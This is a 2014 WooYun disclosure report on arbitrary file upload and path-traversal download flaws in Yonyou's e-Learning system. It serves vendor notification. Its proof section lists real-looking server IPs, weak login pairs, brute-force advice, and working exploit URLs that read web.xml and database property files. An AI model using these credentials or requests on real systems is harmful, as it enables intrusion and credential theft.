漏洞详情

披露状态:

2014-01-07: 细节已通知厂商并且等待厂商处理中
2014-01-12: 厂商已经确认,细节仅向厂商公开
2014-01-15: 细节向第三方安全合作伙伴开放
2014-01-22: 细节向核心白帽子及相关领域专家公开
2014-02-01: 细节向普通白帽子公开
2014-02-21: 细节向实习白帽子公开
2014-04-07: 细节向公众公开

简要描述:

继续向大牛们学习了

详细说明:

先说个问题。此厂商在乌云已经有账号,但是之前对此套系统的漏洞视而不见,不打算进行修复,继续将漏洞提交给他们处理,可能会危害到客户的利益,在这我建议给cert通报以促进他们进行整改。(如果要给原厂商处理,那去掉我这段话……)

前大牛的漏洞:

WooYun: 用友某系统存在通用型远程代码执行



是用友的e-Learning

存在任意文件上传和任意文件下载。不过要一个普通账户登录才可利用,当然我们可以暴力破解……没有验证码

漏洞证明:

首先需要一个低权限账号登录(反正没有验证码,设定好简单密码,按数字直接丢去暴了都没有问题)

给出几个默认或简单密码的:

http://58.214.233.113:8800/lmsv5/

00041013/123456

00041014/123456

00041012/123456



http://60.216.4.162:9091/lmsv5/

107649/111111

107648/111111

107640/111111



文件上传

http://60.216.4.162:9091/lmsv5/uploadfile!LoginUploadFile.action?uploadFileType=jsp

image001.png



image002.png



看源码:

image003.png



image005.png





另外一个:

http://58.214.233.113:8800/lmsv5/uploadfile!LoginUploadFile.action?uploadFileType=jsp

image007.png







任意文件下载

官方配置中是这样写的:

<action name="downloadfile!*" class ="cn.com.iactive.learn.res.upOrdownFile.FileDownloadAction" method="{1}"> 
<!--下载文件的目录,若不在这个目录下则拒绝下载以保障安全,这点在action类中实现 -->
<param name="inputPath">/coursedir</param>
<result name="success" type="stream">
<param name="contentType">application/octet-stream</param>
<param name="inputName">inputStream</param>
<!--动态获取文件名-->
<param name="contentDisposition">attachment;filename="${fileName}"</param>
<param name="bufferSize">4096</param>
</result>



看得眼泪流。

一看代码:

public InputStream getInputStream()
throws Exception
{
int size = this.url.length() - 1;

for (int i = 0; i < size; i++)
this.url = this.url.replace("\\", "/");
return ServletActionContext.getServletContext().getResourceAsStream(this.url);
}



直接的用url参数那啥那啥……完全就没有过滤嘛



http://60.216.4.162:9091/lmsv5/downloadfile!FileDownload.action?url=/WEB-INF/web.xml&fileName=/1.xml

http://60.216.4.162:9091/lmsv5/downloadfile!FileDownload.action?url=/WEB-INF/classes/dataBase.properties&fileName=/dataBase.properties

image009.png



image010.png



image012.png





另外一个例子:

http://58.214.233.113:8800/lmsv5/downloadfile!FileDownload.action?url=/WEB-INF/web.xml&fileName=/1.xml

http://58.214.233.113:8800/lmsv5/downloadfile!FileDownload.action?url=/WEB-INF/classes/dataBase.properties&fileName=/dataBase.properties

修复方案:

文件上传:只能限制了啊

文件下载:也限制啊

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:19

确认时间:2014-01-12 11:35

厂商回复:

CNVD确认并在多个实例上复现所述情况,由CNVD已经向软件生产厂商——用友新道科技有限公司通报。

最新状态:

暂无


漏洞评价: